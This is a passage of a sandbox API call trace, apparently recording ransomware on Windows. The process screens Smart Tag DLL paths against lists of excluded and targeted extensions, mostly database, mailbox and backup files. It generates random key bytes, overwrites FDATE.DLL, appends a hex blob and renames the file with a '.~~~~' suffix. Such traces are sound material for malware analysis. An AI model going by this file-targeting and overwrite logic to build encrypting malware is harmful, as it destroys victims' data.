	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".BAK") returned 0x0
	[0082.160] lstrlenW (lpString=".BAC") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".BAC") returned 0x0
	[0082.160] lstrlenW (lpString=".dbs") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dbs") returned 0x0
	[0082.160] lstrlenW (lpString=".vhdx") returned 5
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".vhdx") returned 0x0
	[0082.160] lstrlenW (lpString=".NDF") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".NDF") returned 0x0
	[0082.160] lstrlenW (lpString=".dat") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dat") returned 0x0
	[0082.160] lstrlenW (lpString=".DBS") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DBS") returned 0x0
	[0082.160] lstrlenW (lpString=".CKP") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".CKP") returned 0x0
	[0082.160] lstrlenW (lpString=".edb") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".edb") returned 0x0
	[0082.160] lstrlenW (lpString=".PST") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".PST") returned 0x0
	[0082.160] lstrlenW (lpString=".dbf") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dbf") returned 0x0
	[0082.160] lstrlenW (lpString=".SQL") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".SQL") returned 0x0
	[0082.160] lstrlenW (lpString=".pst") returned 4
	[0082.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".pst") returned 0x0
	[0082.160] lstrlenW (lpString=".dbv") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dbv") returned 0x0
	[0082.161] lstrlenW (lpString=".SDF") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".SDF") returned 0x0
	[0082.161] lstrlenW (lpString=".dtxs") returned 5
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dtxs") returned 0x0
	[0082.161] lstrlenW (lpString=".db3") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".db3") returned 0x0
	[0082.161] lstrlenW (lpString=".OST") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".OST") returned 0x0
	[0082.161] lstrlenW (lpString=".dbx") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dbx") returned 0x0
	[0082.161] lstrlenW (lpString=".DB3") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DB3") returned 0x0
	[0082.161] lstrlenW (lpString=".DAT") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DAT") returned 0x0
	[0082.161] lstrlenW (lpString=".VHDX") returned 5
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".VHDX") returned 0x0
	[0082.161] lstrlenW (lpString=".ndf") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".ndf") returned 0x0
	[0082.161] lstrlenW (lpString=".DB") returned 3
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DB") returned 0x0
	[0082.161] lstrlenW (lpString=".sql") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".sql") returned 0x0
	[0082.161] lstrlenW (lpString=".MYD") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".MYD") returned 0x0
	[0082.161] lstrlenW (lpString=".DBT") returned 4
	[0082.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DBT") returned 0x0
	[0082.161] lstrlenW (lpString=".ACCDB") returned 6
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.162] lstrlenW (lpString=".fdb") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".fdb") returned 0x0
	[0082.162] lstrlenW (lpString=".bak") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".bak") returned 0x0
	[0082.162] lstrlenW (lpString=".myd") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".myd") returned 0x0
	[0082.162] lstrlenW (lpString=".DTXS") returned 5
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".DTXS") returned 0x0
	[0082.162] lstrlenW (lpString=".ckp") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".ckp") returned 0x0
	[0082.162] lstrlenW (lpString=".dbt") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".dbt") returned 0x0
	[0082.162] lstrlenW (lpString=".db") returned 3
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".db") returned 0x0
	[0082.162] lstrlenW (lpString=".TXT") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".TXT") returned 0x0
	[0082.162] lstrlenW (lpString=".MDF") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".MDF") returned 0x0
	[0082.162] lstrlenW (lpString=".bdb") returned 4
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".bdb") returned 0x0
	[0082.162] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0082.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.162] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.163] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.164] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.164] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20215382583) returned 1
	[0082.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ad125b0, dwHighDateTime=0x1d60e1e)) 
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36f0
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36f0 | out: hHeap=0x300000) returned 1
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38d968
	[0082.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d968 | out: hHeap=0x300000) returned 1
	[0082.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.165] GetLastError () returned 0x0
	[0082.165] GetLastError () returned 0x0
	[0082.165] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.165] GetLastError () returned 0x0
	[0082.165] GetLastError () returned 0x0
	[0082.165] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x17f80, lpOverlapped=0x0) returned 1
	[0082.168] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe8080, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.168] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x17f80, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x17f80, lpOverlapped=0x0) returned 1
	[0082.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.169] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.169] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.169] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.169] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.170] CloseHandle (hObject=0x120) returned 1
	[0082.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38d968
	[0082.170] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.~~~~")) returned 1
	[0082.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d968 | out: hHeap=0x300000) returned 1
	[0082.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0082.171] GetLastError () returned 0x0
	[0082.171] RtlWakeConditionVariable () returned 0x365f70
	[0082.171] GetCurrentThreadId () returned 0x3a4
	[0082.171] GetCurrentThreadId () returned 0x3a4
	[0082.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38d968
	[0082.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36b8 | out: hHeap=0x300000) returned 1
	[0082.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.171] lstrlenW (lpString=".scr") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".scr") returned 0x0
	[0082.171] lstrlenW (lpString=".cmd") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".cmd") returned 0x0
	[0082.171] lstrlenW (lpString=".dll") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dll") returned 0x0
	[0082.171] lstrlenW (lpString=".bat") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".bat") returned 0x0
	[0082.171] lstrlenW (lpString=".cpl") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".cpl") returned 0x0
	[0082.171] lstrlenW (lpString=".sys") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".sys") returned 0x0
	[0082.171] lstrlenW (lpString=".msc") returned 4
	[0082.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".msc") returned 0x0
	[0082.171] lstrlenW (lpString=".com") returned 4
	[0082.172] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".com") returned 0x0
	[0082.172] lstrlenW (lpString=".lnk") returned 4
	[0082.172] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".lnk") returned 0x0
	[0082.172] lstrlenW (lpString=".msp") returned 4
	[0082.172] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".msp") returned 0x0
	[0082.172] lstrlenW (lpString=".pif") returned 4
	[0082.172] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".pif") returned 0x0
	[0082.172] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.172] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0082.173] lstrlenW (lpString=".sqb") returned 4
	[0082.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".sqb") returned 0x0
	[0082.173] lstrlenW (lpString=".ost") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".ost") returned 0x0
	[0082.174] lstrlenW (lpString=".txt") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".txt") returned 0x0
	[0082.174] lstrlenW (lpString=".mdt") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".mdt") returned 0x0
	[0082.174] lstrlenW (lpString=".BDB") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".BDB") returned 0x0
	[0082.174] lstrlenW (lpString=".eql") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".eql") returned 0x0
	[0082.174] lstrlenW (lpString=".DBF") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DBF") returned 0x0
	[0082.174] lstrlenW (lpString=".EQL") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".EQL") returned 0x0
	[0082.174] lstrlenW (lpString=".FDB") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".FDB") returned 0x0
	[0082.174] lstrlenW (lpString=".EDB") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".EDB") returned 0x0
	[0082.174] lstrlenW (lpString=".DACPAC") returned 7
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.174] lstrlenW (lpString=".VHD") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".VHD") returned 0x0
	[0082.174] lstrlenW (lpString=".DBV") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DBV") returned 0x0
	[0082.174] lstrlenW (lpString=".dacpac") returned 7
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dacpac") returned 0x0
	[0082.174] lstrlenW (lpString=".sdf") returned 4
	[0082.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".sdf") returned 0x0
	[0082.174] lstrlenW (lpString=".accdb") returned 6
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".accdb") returned 0x0
	[0082.175] lstrlenW (lpString=".DBX") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DBX") returned 0x0
	[0082.175] lstrlenW (lpString=".MDT") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".MDT") returned 0x0
	[0082.175] lstrlenW (lpString=".SQB") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".SQB") returned 0x0
	[0082.175] lstrlenW (lpString=".vhd") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".vhd") returned 0x0
	[0082.175] lstrlenW (lpString=".bac") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".bac") returned 0x0
	[0082.175] lstrlenW (lpString=".mdf") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".mdf") returned 0x0
	[0082.175] lstrlenW (lpString=".BAK") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".BAK") returned 0x0
	[0082.175] lstrlenW (lpString=".BAC") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".BAC") returned 0x0
	[0082.175] lstrlenW (lpString=".dbs") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dbs") returned 0x0
	[0082.175] lstrlenW (lpString=".vhdx") returned 5
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".vhdx") returned 0x0
	[0082.175] lstrlenW (lpString=".NDF") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".NDF") returned 0x0
	[0082.175] lstrlenW (lpString=".dat") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dat") returned 0x0
	[0082.175] lstrlenW (lpString=".DBS") returned 4
	[0082.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DBS") returned 0x0
	[0082.176] lstrlenW (lpString=".CKP") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".CKP") returned 0x0
	[0082.176] lstrlenW (lpString=".edb") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".edb") returned 0x0
	[0082.176] lstrlenW (lpString=".PST") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".PST") returned 0x0
	[0082.176] lstrlenW (lpString=".dbf") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dbf") returned 0x0
	[0082.176] lstrlenW (lpString=".SQL") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".SQL") returned 0x0
	[0082.176] lstrlenW (lpString=".pst") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".pst") returned 0x0
	[0082.176] lstrlenW (lpString=".dbv") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dbv") returned 0x0
	[0082.176] lstrlenW (lpString=".SDF") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".SDF") returned 0x0
	[0082.176] lstrlenW (lpString=".dtxs") returned 5
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dtxs") returned 0x0
	[0082.176] lstrlenW (lpString=".db3") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".db3") returned 0x0
	[0082.176] lstrlenW (lpString=".OST") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".OST") returned 0x0
	[0082.176] lstrlenW (lpString=".dbx") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".dbx") returned 0x0
	[0082.176] lstrlenW (lpString=".DB3") returned 4
	[0082.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DB3") returned 0x0
	[0082.176] lstrlenW (lpString=".DAT") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".DAT") returned 0x0
	[0082.177] lstrlenW (lpString=".VHDX") returned 5
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".VHDX") returned 0x0
	[0082.177] lstrlenW (lpString=".ndf") returned 4
	[0082.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL", lpSrch=".ndf") returned 0x0
